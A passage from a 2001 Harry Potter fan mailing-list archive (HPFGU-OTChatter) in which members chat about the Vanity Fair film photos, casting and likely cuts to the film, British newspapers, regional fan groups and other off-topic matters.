London 
> or something?  


Well, I feel silly answering my own question but I thought I'd just 
mention that I've found the magazine in Los Angeles (more in the 
vicinity thereof) and it's still four days 'til the official street
date!  Perhaps it would not hurt to start checking for it if you 
haven't already.  :D

Joy the (happily) Bouncing Lemur




From saitaina at wizzards.net  Fri Sep  7 22:13:49 2001
From: saitaina at wizzards.net (Saitaina)
Date: Fri, 7 Sep 2001 15:13:49 -0700
Subject: [HPFGU-OTChatter] Re: MOVIE: Draco and Harry's Hair
References: <9nberj+ntee@eGroups.com>
Message-ID: <008c01c137ea$70feb460$3e4e28d1@oemcomputer>

Actually it depends on the director.  I get work for beig able to pass as
older then my age so that they don't have to deal with 'older' actresses who
often make too many demands and will soon be out of work.  Course I do also
get jobs for being able to pass as young as 14.  It just depends on the
roles, the director and producer in charge, the people paying the money to
have the project made and what their looking for.

Rupert most likely got the role for looking the way that they thought Ron
looked.  That's the first basis for ANY part, looks.  Your judged the minute
you walk into the room and you can give a briliant performance but still be
kicked out before you open your mouth.

Though I do agree that more and more directors are selecting older actors
for young parts, it's because older actors have more time in front of the
camera then their counterparts.  Child actors can only work so many hours
while adults can work from sun up to sun up.  It's harder to film things
with child actors with their strict schedules and tutoring time.  But with
adults you can get things finished quicker and with less time spent waiting
around for the child to get out of the school trailer.
Saitaina
*****
"I should go help," Willow said. "Or Giles is liable to speak English and no
one will understand him."-Willow,"Master of Puppets", by Saber
ShadowKitten-Buffy the Vampire Slayer-fanfic

"I'm not listening to you. I am at one. I am at peace with all living things
and if you break my concintration, I will break your legs."-Angel, "The
Florida Vacation"-Buffy the Vampire Slayer-fanfiction

"That's allright, Harry." said Dumbledore cheerfully. "We'll give you
another two years and then we'll feed you to a balisk."-Dumbledore,"Draco
Dormiens, by Cassandra Claire-Harry Potter-fanfic






From absinthe at mad.scientist.com  Sat Sep  8 00:01:25 2001
From: absinthe at mad.scientist.com (Milz)
Date: Sat, 08 Sep 2001 00:01:25 -0000
Subject: Silver blood
In-Reply-To: <9naudo+oq65@eGroups.com>
Message-ID: <9nbn4l+lckl@eGroups.com>

--- In HPFGU-OTChatter at y..., dfrankiswork at n... wrote:
> --- In HPFGU-OTChatter at y..., catherine at c... wrote:
> The Bloody Baron in no way looks 
> > menacing enough - and why isn't the blood silvery - coloured?
> 
> I've always wondered - how do they know it's blood?  I'm not 
> surprised the movie has changed this: nobody who didn't already 
know 
> would understand without a little cameo in which the characters 
> discuss it.
> 


I posted this on the main list a long time ago. I was reading up on 
legends of UK castles and came across William de Soulis, the owner of 
the Hermitage Castle in Scotland. According to legend, de Soulis was 
heavily involved in black magic (dark wizard perhaps?) and, along 
with his henchman, Robin Redcap, did some particularly nasty things. 
Anyhow, he plotted against Robert the Bruce and was executed. The 
legend goes that he was boiled in a vat of lead, or that he was 
wrapped in a sheet of lead, thrown into a hot brass cauldron and 
boiled.

Perhaps Rowling patterned the Bloody Baron on de Soulis? De Soulis' 
title was Baron. Since nobody has the nerve to ask the Bloody Baron 
why he is bloody then maybe it's not blood but splotches of molten 
lead?




From aiz24 at hotmail.com  Sat Sep  8 00:18:58 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 08 Sep 2001 00:18:58 -0000
Subject: Jim Dale at Scholastic
In-Reply-To: <9nambu+n9i0@eGroups.com>
Message-ID: <9nbo5i+5elt@eGroups.com>

Cindy wrote:

> 
> You mission, should you choose to accept it, is to sneak a peek at 
> Jim Dale and tell me what he looks like.  In my mind, he is 6 feet, 
> handsome, with thick, dark hair and glasses that make him look 
smart.
> 

He looks like Barnum!

Amy
who is sure Jim Dale wears a top hat at all times




From aiz24 at hotmail.com  Sat Sep  8 00:32:37 2001
From: aiz24 at hotmail.com (aiz24 at hotmail.com)
Date: Sat, 08 Sep 2001 00:32:37 -0000
Subject: what to cut (was Vanity Fair)
In-Reply-To: <F40G6L5kuquqmgPhulV00009a8c@hotmail.com>
Message-ID: <9nbov5+shic@eGroups.com>

Ali wrote:

> As for Peeves...well, this IS primarily a kids movie, like it or 
not...and 
> kids adore Peeves.  They think he's hilarious. 

Not only kids!

>  I really want to see Hagrid on that giant motorcycle, and it's 
a great 
> moment.

You're going to get your wish.  It's in the movie; in fact, it's in 
the trailer.  Don't miss it!

This thread is dangerously on-topic.

Amy Z




From meboriqua at aol.com  Sat Sep  8 02:02:03 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 08 Sep 2001 02:02:03 -0000
Subject: My Very Own Vanity Fair
Message-ID: <9nbu6r+p436@eGroups.com>

Hi!

I just got the new Vanity Fair (I think it's the only time I've ever 
read the magazine) and I have only a few comments.  Sorry if they've 
been said already, but I just started school again and I've been very 
busy and haven't been the best reader as of late.  Having come down 
with a yucky cold doesn't help either.

Okay - the Friends and Foes photo - I love it, but shouldn't they all 
be wearing HOGWARTS emblems on their blazers instead of simply House 
emblems?  I can't imagine Dumbledore would want his Hogwarts students 
divided even in such small ways.

Dudly Dursley with brown hair?  Hell, no!

The Bloody Baron - he looks downright comical.  In the books, he gives 
me the shivers.  I agree about the silvery blood thing too.

The Gryffindor Quidditch Team - Oh my GOD do I want to go to Hogwarts!

My boyfriend thinks I am absolutely insane.

--jenny from ravenclaw ************************************




From editor at texas.net  Sat Sep  8 02:13:58 2001
From: editor at texas.net (Amanda Lewanski)
Date: Fri, 07 Sep 2001 21:13:58 -0500
Subject: [HPFGU-OTChatter] Silly Harry (was running time & cover photo)
References: <B7BD93D3.11C5%john@walton.to>
Message-ID: <3B997EE6.885BD322@texas.net>

John Walton wrote:

> ::polishes "Head L.O.O.N." badge he stole from Joywitch in NY last
> weekend::

What was Joywitch doing with my badge again? Give it back.

--Amanda


[Non-text portions of this message have been removed]




From john at walton.to  Sat Sep  8 03:20:36 2001
From: john at walton.to (John Walton)
Date: Fri, 07 Sep 2001 23:20:36 -0400
Subject: [HPFGU-OTChatter] My Very Own Vanity Fair
In-Reply-To: <9nbu6r+p436@eGroups.com>
Message-ID: <B7BF06C4.12D5%john@walton.to>

meboriqua at aol.com said:

> Okay - the Friends and Foes photo - I love it, but shouldn't they all
> be wearing HOGWARTS emblems on their blazers instead of simply House
> emblems?  I can't imagine Dumbledore would want his Hogwarts students
> divided even in such small ways.

Actually, it's fairly standard in British boarding schools to be
distinguished by house. Of course, in most schools, the boarding houses are
actually houses (albeit large ones) in different buildings rather than
different sections of one castle.

For instance, in my school we had different ties for each house, as do the
Hogwartsites. 

Admittedly, on the school blazers that everyone wore, the emblem was the
school crest (a grumpy-looking sea monster purporting to be a dolphin).

Bleh. But I'm half right :D

--John

__s_c_h_n_o_o_g_l_e_._c_o_m___________

John Walton -- Crazy Ivan
ivan at schnoogle.com

www.schnoogle.com/authors/crazyivan

=| Schnoogle.com, part of the FictionAlley.org community |=
* high-quality novel-length fanfiction from some of your favorite authors
* run *by* Harry Potter fans *for* Harry Potter fans
* talk to your favorite authors using Schnoogle.com messageboards

____________s_c_h_n_o_o_g_l_e_._c_o_m_




From editor at texas.net  Sat Sep  8 03:30:15 2001
From: editor at texas.net (Amanda Lewanski)
Date: Fri, 07 Sep 2001 22:30:15 -0500
Subject: [HPFGU-OTChatter] My Very Own Vanity Fair
References: <B7BF06C4.12D5%john@walton.to>
Message-ID: <3B9990C7.B7A9DE7A@texas.net>

John Walton wrote:

> For instance, in my school we had different ties for each house, as do
> the Hogwartsites.

Hogwartsians.

> Admittedly, on the school blazers that everyone wore, the emblem was
> the school crest (a grumpy-looking sea monster purporting to be a
> dolphin).

John, dear, a heraldic dolphin *is* a grumpy-looking sea monster. The
other kind must be blazoned a natural dolphin, and species given if
you're getting specific.

> Bleh. But I'm half right :D

To an optimist....

--Amanda


[Non-text portions of this message have been removed]




From mat at hooper11.freeserve.co.uk  Sat Sep  8 10:09:08 2001
From: mat at hooper11.freeserve.co.uk (Martin Hooper)
Date: Sat, 08 Sep 2001 11:09:08 +0100
Subject: Vanity Fair Pics
Message-ID: <5.1.0.14.0.20010908110837.009ef640@pop.freeserve.net>

Has anyone scanned the pics in and put them up anywhere..?



Martin Hooper
AIM: martinjh99 ICQ: 43933602
http://www.crosswinds.net/~martinjh99/


[Non-text portions of this message have been removed]




From aiz24 at hotmail.com  Sat Sep  8 11:21:57 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 08 Sep 2001 11:21:57 -0000
Subject: Vanity Fair Pics
In-Reply-To: <5.1.0.14.0.20010908110837.009ef640@pop.freeserve.net>
Message-ID: <9ncv0l+54de@eGroups.com>

--- In HPFGU-OTChatter at y..., Martin Hooper <mat at h...> wrote:
> Has anyone scanned the pics in and put them up anywhere..?
> 

The Leaky Cauldron has a link to The Spell Binder, where all the pics 
are up (minus the cover, I believe, but Rachel gave us the link to 
Empire Online, which has it).  

www.the-leaky-cauldron.org

Amy




From g_keddle at yahoo.com  Sat Sep  8 14:09:34 2001
From: g_keddle at yahoo.com (g_keddle at yahoo.com)
Date: Sat, 08 Sep 2001 14:09:34 -0000
Subject: what to cut (was Vanity Fair)
In-Reply-To: <9nbov5+shic@eGroups.com>
Message-ID: <9nd8qu+g86c@eGroups.com>


You can't cut the troll knock-out scene, that's what cements the 
friendship with Hermione. And you need *some* Norbert, Hagrid traded 
valuable information for him. I'm pretty sure the scene in the robe 
shop was cut, in a description of the long preview it seems Harry 
meets Draco while they're waiting to be sorted and delivers 
his "right sort" line then, which also means time on the Express can 
be compressed a little. 

Still, the Entertainment Weekly article said one of the edits came 
out at 4 hours. "At least he's got a helluva DVD." I'll say. I'd buy 
the 4-hour director's cut in a heartbeat!

Gert




From simon at hp.inbox.as  Sat Sep  8 14:17:50 2001
From: simon at hp.inbox.as (Simon)
Date: Sat, 8 Sep 2001 15:17:50 +0100
Subject: Vanity Fair - what else could we discuss
In-Reply-To: <999914528.1661.25150.l6@yahoogroups.com>
Message-ID: <LOBBLGEGEBLNEOFHCDINKEMJDNAA.simon@branford.inbox.as>

Catherine: <<<Well, I was relieved that the Brits on the list (including
me) haven't had to wait to pick up copies of Vanity Fair.  I bought mine
this morning, and in the nick of time, too, as WHSmiths at Charing Cross
had almost sold out already.>>>

David: <<<David, wondering if Vanity Fair is available in Britain outside
the West End of London>>>

Catherine: <<<I don't think it's available.  I asked at my newsagents in
Blackheath this morning and they said that it wouldn't be in until next
week - yet 20 mins on the train to the West End, it's there and selling
out.  Bizarre.>>>

Mary Ann: <<<That's it!!  I simply must get to town tomorrow and see if I
can get my hands on a copy as well, though if people living in the London
area are having problems, I don't hold out much hope for me.  Living in
Weston-super-Mare, I'm grateful I have electricity and hot water.>>>

It is available at places outside the West End. I picked up a copy in
Salisbury this morning (and they had quite a few copies). I was shocked I
could get a copy this quickly, without having to travel a lot further than
I did (30+ mins and I had gone shopping for other things and looked in WHS
for a magazine to read on the way back).

I would advise a trip to WHSmiths for any Brits on the list, as that is
also where I got my copy.  Possibly they have some sort of deal that means
they get the magazine first. They have had other exclusives in the past.
They had the paperback Of Artemis Fowl available when it was first released
this summer, whereas it is still only in hardback in the other shops.


I do have a major complaint to make about the pictures. Good many of the
pictures are there is not one picture of an owl in it. And so there is no
Hedwig in the magazine. I am disappointed and hope that Hedwig is not one
of the things that they have removed from the film.



Simon

PS: Is VF actually worth reading? Or should I just look at the HP pics in
it - I have already read the HP article.




From mat at hooper11.freeserve.co.uk  Sat Sep  8 14:08:12 2001
From: mat at hooper11.freeserve.co.uk (Martin Hooper)
Date: Sat, 08 Sep 2001 15:08:12 +0100
Subject: [HPFGU-OTChatter] Re: Vanity Fair Pics
In-Reply-To: <9ncv0l+54de@eGroups.com>
References: <5.1.0.14.0.20010908110837.009ef640@pop.freeserve.net>
Message-ID: <5.1.0.14.0.20010908150749.00a27df0@pop.freeserve.net>

At 08/09/01 11:21, you wrote:
>The Leaky Cauldron has a link to The Spell Binder, where all the pics 
>are up (minus the cover, I believe, but Rachel gave us the link to 
>Empire Online, which has it). 

Thanks Amy :)


Martin Hooper
AIM: martinjh99 ICQ: 43933602
http://www.crosswinds.net/~martinjh99/


[Non-text portions of this message have been removed]




From tabouli at unite.com.au  Sat Sep  8 15:46:41 2001
From: tabouli at unite.com.au (Tabouli)
Date: Sun, 9 Sep 2001 01:46:41 +1000
Subject: Viral woes,  Return of the Killer Sandwich (repeat)
Message-ID: <003201c1387d$75dbefa0$8a92aecb@price>

Hey ho, folks...

Riddikulus indeed.  It's 1:30am and with every passing minute I am ruing the folly which induced me to buy (yes *buy*) an online virus scanner.  After several fruitless and lengthy attempts at downloading my purchase and four increasingly irritated emails to the McAfee support staff, they finally explained to me why I couldn't get it download, after which, tonight, I have spent probably three hours of rather expensive online time to get it to work.  And now it's scanning my hard drive, and has been for no less than 55 minutes, with no sign of abating.  And though it's detected 10 infected files and counting, as I suspected (nothing email infectable, so fear not), I have been wondering for some days now whether this was all a very bad idea.

Sigh.

What to do to entertain myself during this vigil at the computer, I asked myself?  Freecell has its moments, but only when you get a string of easy games (!), too tired to websurf, and reading the paper online is frustratingly slow... in the time you've spent waiting an endless 20 seconds or so (amazing how long this feels when you're sitting in front of a monitor!) per article and realising that you don't want to read a third of the articles materialising anyway, you might just as well have walked to the newsagency and bought one!  Gzzz.  Then, in my long trek through the paper, I discovered an amusing article by Maureen O'Down on George W Bush which refers to peanut butter and jelly sandwiches (that gloriously American of dishes!) as PBJs!  Now, I've heard of BLTs, but PBJs?  How many initialled sandwiches are there?

Musing on this most profound of questions, I was reminded of the HP4GU-OT sussurations (?) on the subject of sandwiches.  Aha! I thought.  What better forum at which to raise this pressing matter?

Tabouli.

PS  Scan complete!  Praise be, now I can go to bed...


[Non-text portions of this message have been removed]




From michelleapostolides at lineone.net  Sat Sep  8 15:48:57 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Sat, 8 Sep 2001 16:48:57 +0100
Subject: tomorrow's chat
Message-ID: <019b01c1387d$c6440ae0$4b58063e@tmeltcds>

Can someone confirm the room number if we're using Cheeta for this
technical imbecile please ? Is it the same as last week ?

Michelle




From tabouli at unite.com.au  Sat Sep  8 15:56:35 2001
From: tabouli at unite.com.au (Tabouli)
Date: Sun, 9 Sep 2001 01:56:35 +1000
Subject: Name issues
Message-ID: <004901c1387f$10551ce0$8a92aecb@price>

Did I say Maureen O'Down??  I must be tireder than I thought.  I meant Maureen Dowd.  Then again, in my newspaper slog I also read that Australia's highly embarrassing Prime Minister was referred to as "John Hunt" in a US newspaper condemning him for his stance on the Afghan refugees (his actual name being John Howard, thought Australians being the people they are, Little Johnny is quite common...)

Tabouli.


[Non-text portions of this message have been removed]




From jaffa276 at yahoo.co.uk  Sat Sep  8 15:56:40 2001
From: jaffa276 at yahoo.co.uk (Benjamin)
Date: Sat, 08 Sep 2001 15:56:40 -0000
Subject: Vanity Fair / Owls / Heathens
In-Reply-To: <LOBBLGEGEBLNEOFHCDINKEMJDNAA.simon@branford.inbox.as>
Message-ID: <9ndf3o+vbr4@eGroups.com>


Simon:
> It is available at places outside the West End. I picked up a copy 
> in Salisbury this morning (and they had quite a few copies). [snip]

But then Salisbury is very civilised - they have the best cake shop 
in England (Michael Snell) and sell roasted chestnuts in the streets 
(not in summer, obviously) so naturally they'd have Vanity Fair 
available (well, the Harry edition anyway)

>  
>I do have a major complaint to make about the pictures. Good many 
>of the pictures are there is not one picture of an owl in it. And so 
>there is no Hedwig in the magazine. I am disappointed and hope that 
>Hedwig is not one of the things that they have removed from the film.
> 

Surely they cannot remove owls - how would you get the post? Anyway, 
I'm sure I've seen pictures of daniel-with-snowy-owl and aren't they 
in the trailer too?

Incidentally, I was talking to a friend of mine who purports to be a 
Harry Potter fan; I mentioned that I was introduced to the books by a 
younger friend of mine - but he laughed when I said by 'younger' I 
meant 22 - apparently he thinks the books are for children, and, 
despite being getting a box set from his girlfriend for his birthday 
months ago, hasn't even read the fourth one yet as "it looks 
huge"...  I'm debating whether he should be allowed to watch the film.

-Ben. In search of apples.






From g_keddle at yahoo.com  Sat Sep  8 16:16:13 2001
From: g_keddle at yahoo.com (g_keddle at yahoo.com)
Date: Sat, 08 Sep 2001 16:16:13 -0000
Subject: Viral woes,  Return of the Killer Sandwich (repeat)
In-Reply-To: <003201c1387d$75dbefa0$8a92aecb@price>
Message-ID: <9ndg8d+sgtj@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tabouli" <tabouli at u...> wrote:
> Hey ho, folks...

>I discovered an amusing article by Maureen O'Down on George W Bush 
which refers to peanut butter and jelly sandwiches (that gloriously 
American of dishes!) as PBJs!  Now, I've heard of BLTs, but PBJs?  
How many initialled sandwiches are there?
> 


According to Miracle Max in The Princess Bride, there's:
"A nice MLT - mutton, lettuce and tomato sandwich, when the mutton is 
nice and lean, and the tomato's ripe - they're so perky."
            
Gert





From neilward at dircon.co.uk  Sat Sep  8 19:00:20 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 8 Sep 2001 20:00:20 +0100
Subject: ADMIN: HPfGU regional groups/meeting up
Message-ID: <014c01c13898$822c2480$213570c2@c5s910j>

Hi everyone,

It would be great to keep track of all the active HPfGU regional groups we
have, so we can point new members at them and hear what's happening around
the globe.

I've created a folder in the Bookmarks section of the main list
(http://groups.yahoo.com/group/HPforGrownups/links/Regional_HPfGU_Lists_0009
99973547/)  [you may have to reconstruct that link] and there may be the
occasional reminder about it on the main list.  I'll link to that folder,
rather than the individual lists, from the VFAQ.

Regional group mods are encouraged to post dates/details of their
events/local news to Announcements and regional members are invited to post
event reports to OT Chatter.

At the end of this message I've listed the groups/mods I know of to date.
If I've missed
anything, please drop a line to the moderators' e-mail address
(hpforgrownups-owner at yahoogroups.com).

If you decide to set up a new regional list, please add a link to it in the
Bookmarks folder and drop a line to the moderator's address.  Alternatively,
check the Regional meetings database
(http://groups.yahoo.com/group/HPforGrownups/database) for details of people
near you, and add your details there.

REGIONAL GROUPS

United States

http://groups.yahoo.com/group/HPFGU-NewYork  (Mod: John Walton)
http://groups.yahoo.com/group/HPFGU-Texas  (Mod: Amanda Lewanski)
http://groups.yahoo.com/group/HP4GU-California  (Mod: Jen Piersol)
http://groups.yahoo.com/group/HP4GU-Florida (Mod: Amber)
http://groups.yahoo.com/group/HPFGU-NewEngland  (Mod: Sinead)
http://groups.yahoo.com/group/HP4GU-GreatLakes (Mod: Ebony)

Europe

http://groups.yahoo.com/group/HPFGU-London (Mod: Neil/Flying Ford Anglia)
http://groups.yahoo.com/group/HPFGU-Germany (Mod: Mike/Aberforth's Goat)

Rest of planet

http://groups.yahoo.com/group/HP4GU-Australia (Mod: Vicky Granger)


Neil
________________________________________
Flying Ford Anglia
Mechanimagus Moderator





From Aberforths_Goat at Yahoo.com  Sat Sep  8 20:11:00 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Sat, 8 Sep 2001 22:11:00 +0200
Subject: [HPFGU-OTChatter] ADMIN: HPfGU regional groups/meeting up
References: <014c01c13898$822c2480$213570c2@c5s910j>
Message-ID: <01a501c138a2$60cc3e60$e500a8c0@shasta>

> http://groups.yahoo.com/group/HPFGU-Germany (Mod: Mike/Aberforth's Goat)

Thanks for the publicity Neil!

I was just wondering whether I should start trolling for a few additions to
our German net.

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From NicMitUK at aol.com  Sat Sep  8 20:36:48 2001
From: NicMitUK at aol.com (Nick Mitchell)
Date: Sat, 08 Sep 2001 20:36:48 -0000
Subject: Who Likes HP?
Message-ID: <9ndvh0+dpo2@eGroups.com>

Hi all

Had a call from the Mail On Sunday (a UK newspaper).  They want to do 
an article for 4th Nov, and it it they want to be able to say that 
some Celeberity likes HP.

I can't think of anyone myself who has publically said they like HP.  
Do you know of anyone?

Nick.




From catlady at wicca.net  Sat Sep  8 20:40:27 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 08 Sep 2001 20:40:27 -0000
Subject: tomorrow's chat
In-Reply-To: <019b01c1387d$c6440ae0$4b58063e@tmeltcds>
Message-ID: <9ndvnr+oi16@eGroups.com>

--- In HPFGU-OTChatter at y..., "Michelle Apostolides" 
<michelleapostolides at l...> wrote:
> Can someone confirm the room number if we're using Cheeta for this
> technical imbecile please ? Is it the same as last week ?

As far as I know, tommorrow we will be Cheeta/MiChatting in room 
grp*g.2176166:1 same as last week. 

Everyone, see post # 25425 on Main List for instructions about 
getting into that room. 




From michelleapostolides at lineone.net  Sat Sep  8 20:42:03 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Sat, 8 Sep 2001 21:42:03 +0100
Subject: [HPFGU-OTChatter] Who Likes HP?
References: <9ndvh0+dpo2@eGroups.com>
Message-ID: <030601c138a6$b8446060$4b58063e@tmeltcds>

| Hi all
|
| Had a call from the Mail On Sunday (a UK newspaper).  They want to do
| an article for 4th Nov, and it it they want to be able to say that
| some Celeberity likes HP.

Depends how famous they want.  The stupid thing is, there are plenty
examples in their own articles of famous HP fans, Prince Charles and
Ruthie Henshall to name two off the top of my head.

Michelle




From heidit at netbox.com  Sat Sep  8 21:00:45 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Sat, 8 Sep 2001 17:00:45 -0400 
Subject: [HPFGU-OTChatter] Who Likes HP?
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2BEC@MIAEXCH1>

And stateside we also have rosie o'donnell and the girl who plays Dawn on
buffy-michelle trachtenberg, I think her name is.
In terms of other published writers, our own list has Peg Kerr on it, and my
friend Brad Meltzer has been quoted about the books as well, but I cannot
get him to join :{

-----Original Message-----
From: Michelle Apostolides <michelleapostolides at lineone.net>
To: HPFGU-OTChatter at yahoogroups.com <HPFGU-OTChatter at yahoogroups.com>
Sent: Sat Sep 08 16:42:03 2001
Subject: Re: [HPFGU-OTChatter] Who Likes HP?

Real-To:  "Michelle Apostolides" <michelleapostolides at lineone.net>

| Hi all
|
| Had a call from the Mail On Sunday (a UK newspaper).  They want to do
| an article for 4th Nov, and it it they want to be able to say that
| some Celeberity likes HP.

Depends how famous they want.  The stupid thing is, there are plenty
examples in their own articles of famous HP fans, Prince Charles and
Ruthie Henshall to name two off the top of my head.

Michelle



To unsubscribe from this group, send an email to:
HPFGU-OTChatter-unsubscribe at yahoogroups.com

 

Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ 




From hamster8 at hotmail.com  Sat Sep  8 21:46:08 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Sat, 08 Sep 2001 21:46:08 -0000
Subject: Who Likes HP?
In-Reply-To: <9ndvh0+dpo2@eGroups.com>
Message-ID: <9ne3j0+nnov@eGroups.com>

Leezo Mzumbo (sp?) - the young, black guy who does Newsround on BBC1 
is apparently a huge fan.  He did an interview with Jo back when GoF 
came out.  He has links up on the Newsround website, which I assume 
you can get to via the BBC Online homepage to, variously, the UHPFC 
and even The Bad Place.

Of course (personal opinion here), if Leezo has any sense he'll 
refuse to talk to the Daily Mail.

Al
-Where schnoogling happens a lot, and we think Nancy Stouffer is hot.
-Review the new chapter of Time of Trial online at 
http://www.schnoogle.com




From michelleapostolides at lineone.net  Sat Sep  8 21:45:40 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Sat, 8 Sep 2001 22:45:40 +0100
Subject: [HPFGU-OTChatter] Re: Who Likes HP?
References: <9ne3j0+nnov@eGroups.com>
Message-ID: <03ab01c138af$9b466a40$4b58063e@tmeltcds>

|
| Of course (personal opinion here), if Leezo has any sense he'll
| refuse to talk to the Daily Mail.

If whoever phoned Nick couldn't be bothered to check his own archives
first, I don't think we should be holding out for the most mind-blowing
insights anyway...

Michelle




From catlady at wicca.net  Sat Sep  8 23:22:27 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 08 Sep 2001 23:22:27 -0000
Subject: Illogical English Language
Message-ID: <9ne97j+l259@eGroups.com>

Gypsy Dee and I were just YMing about how much easier COBOL is than 
computer languages whose inventors consider them to be logical. I 
said that is because she and I do not have computer science type 
minds: people with computer science type minds are not good at 
English (or their other native lnaguage) and therefore think that 
"English-like" languages like COBOL (I swear that is the technical 
jargon to describe COBOL!) are confusing.

Which reminded me of the discussion on the Main List a while ago 
about Harry indicating that Madame Maxime had not been eavesdropping 
because he hadn't seen her: "She isn't exactly hard to miss." Bente 
pointed out that 'not exactly hard' is 'easy' so Harry was saying 
that Madame Maxime was easy to miss, which is not true and also not a 
good reason to believe that she wasn't hiding there eavesdropping.  

Harry could have said: "Yeah, Madame Maxime might have been there 
without me noticing. She is so easy to miss" and every native speaker 
would hear the sarcasm and know exactly what he meant, even without 
italizing the 'so' or saying 'Harry said sarcastically'. Would that 
work for the non-native speaker? But they MEAN the same!

For that matter, translating that 'not exactly hard' is 'easy' is a 
recognition of sarcasm (understatement as sarcasm): literally 
(logically) 'not exactly hard' is somewhere in that middle ground 
between hard and easy.





From john at walton.to  Sat Sep  8 23:22:01 2001
From: john at walton.to (John Walton)
Date: Sat, 08 Sep 2001 19:22:01 -0400
Subject: [HPFGU-OTChatter] Re: Who Likes HP?
In-Reply-To: <9ne3j0+nnov@eGroups.com>
Message-ID: <B7C02059.13FF%john@walton.to>

hamster8 at hotmail.com said:

> Of course (personal opinion here), if Leezo has any sense he'll
> refuse to talk to the Daily Mail.

Didn't JKR make a thinly-veiled jibe at the Mail at one point? I thought she
attributed Rita Skeeter to the "Daily Mail class of journalist" or
something.

What a total rag the Mail is, to be sure.

--John

________________________________

John Walton -- john at walton.to

"Freedom's just another word for nothing left to lose."
--Janis Joplin
________________________________




From neilward at dircon.co.uk  Sat Sep  8 23:29:00 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sun, 9 Sep 2001 00:29:00 +0100
Subject: The Mail (was Re: Who Likes HP?)
References: <B7C02059.13FF%john@walton.to>
Message-ID: <004d01c138be$0aa03de0$953470c2@c5s910j>

John said:

<< Didn't JKR make a thinly-veiled jibe at the Mail at one point? I thought
she attributed Rita Skeeter to the "Daily Mail class of journalist" or
something. >>

Wasn't it stablemate The Mail on Sunday that secured an embarrassing
interview with JKR's Portuguese ex-husband?

Neil






From catlady at wicca.net  Sat Sep  8 23:57:26 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 08 Sep 2001 23:57:26 -0000
Subject: The Mail (was Re: Who Likes HP?)
In-Reply-To: <004d01c138be$0aa03de0$953470c2@c5s910j>
Message-ID: <9neb96+qkg0@eGroups.com>

--- In HPFGU-OTChatter at y..., "Neil Ward" <neilward at d...> wrote:

> Wasn't it stablemate The Mail on Sunday that secured an 
> embarrassing interview with JKR's Portuguese ex-husband?

That's the way I recall it, and she told a newspaper interviewer how 
she had found out about it (paraphrase): "A friend rang me up early 
Sunday morning and said: 'Have you *seen* this article in the Mail on 
Sunday'? and I said: "Why on Earth are you reading the Mail on 
Sunday?" 




From hamster8 at hotmail.com  Sun Sep  9 00:06:42 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Sun, 09 Sep 2001 00:06:42 -0000
Subject: Evil Newspapers!
In-Reply-To: <004d01c138be$0aa03de0$953470c2@c5s910j>
Message-ID: <9nebqi+pjih@eGroups.com>

Neil ...

"Wasn't it stablemate The Mail on Sunday that secured an embarrassing
interview with JKR's Portuguese ex-husband?"

I don't recall hearing that one.

But wasn't it the Mail who got hold of trailer stills that had been 
available online for about 2 weeks, promptly labelled them 
an 'EXCLUSIVE' and then proceeded to tell the nation that Professor 
Flitwick was in fact Albus Dumbledore.

Or was that the Sun?

Either way ...
*shrugs*

Al
-Where schnoogling happens a lot, and we think Nancy Stouffer is hot.
-Time of Trial 8 *still* available ... head on out to 
http://www.schnoogle.com




From aprilgc at ivillage.com  Sun Sep  9 00:18:59 2001
From: aprilgc at ivillage.com (aprilgc at ivillage.com)
Date: Sun, 09 Sep 2001 00:18:59 -0000
Subject: Harry Potter coins
Message-ID: <9nechj+jbp6@eGroups.com>

Hey, did I miss the post alerting me to the possibility of obtaining 
Harry Potter money? Bummer, I guess the coins will be sold out forever, 
now. Did anybody on list get one?
Magically yours,
Lady Leprechaun





From wings909 at aol.com  Sun Sep  9 00:20:11 2001
From: wings909 at aol.com (wings909 at aol.com)
Date: Sun, 09 Sep 2001 00:20:11 -0000
Subject: GryffindorTower.net
Message-ID: <9necjr+f6tu@eGroups.com>

<announcing> As of 8pm EST, on Sept. 8, 2001 Gryffindor 
Tower.net, the newest fanfiction site has been officially launched.  
It's up!  Set your bookmarks to http://www.gryffindortower.net and be 
sure to give the Fat Lady the password.

Thanks to the Queens of H/G and everyone, including a special thank 
you to Gwenn, the QoHG Royal Artist for their work, time, money, and 
nerves for helping with this.  The only thing that isn't up is the 
Portrait Gallery, and that should be done within the next week or 
so.  Check out Gwenn's beautiful portrait of the Fat Lady on the 
index page, as well as the "Ode to the QoHG" on the main page.  Visit 
the Prefect's Bathroom to read "QoHG: A History", and brush up on the 
Queen's English.  And of course don't forget to stop by the Common 
Room forums.  You all should be acquainted with the library now, and 
we have some exclusive stories up there, including Chryslin's new 
chapter of Deconstructing Harry and look for the Restricted Section, 
where you'll find some wonderful treats.

Thank you,
The Queens of H/G




From aiz24 at hotmail.com  Sun Sep  9 00:57:34 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sun, 09 Sep 2001 00:57:34 -0000
Subject: How does a spring work? (the water kind)
Message-ID: <9neepu+j2v0@eGroups.com>

Hey, it says OT up there.

Any geology/physics types on here?  I am trying to understand a 
geological phenomenon, preferably before 11 p.m. Eastern Time, and I 
don't know where to even begin to find out on the internet.  If you 
have the slightest understanding of what makes water travel upwards in 
a spring, or know where to point me to find out, could you respond 
offlist?  aiz24 AT hotmail.com.

Many thanks,
Amy




From Schlobin at aol.com  Sun Sep  9 03:21:31 2001
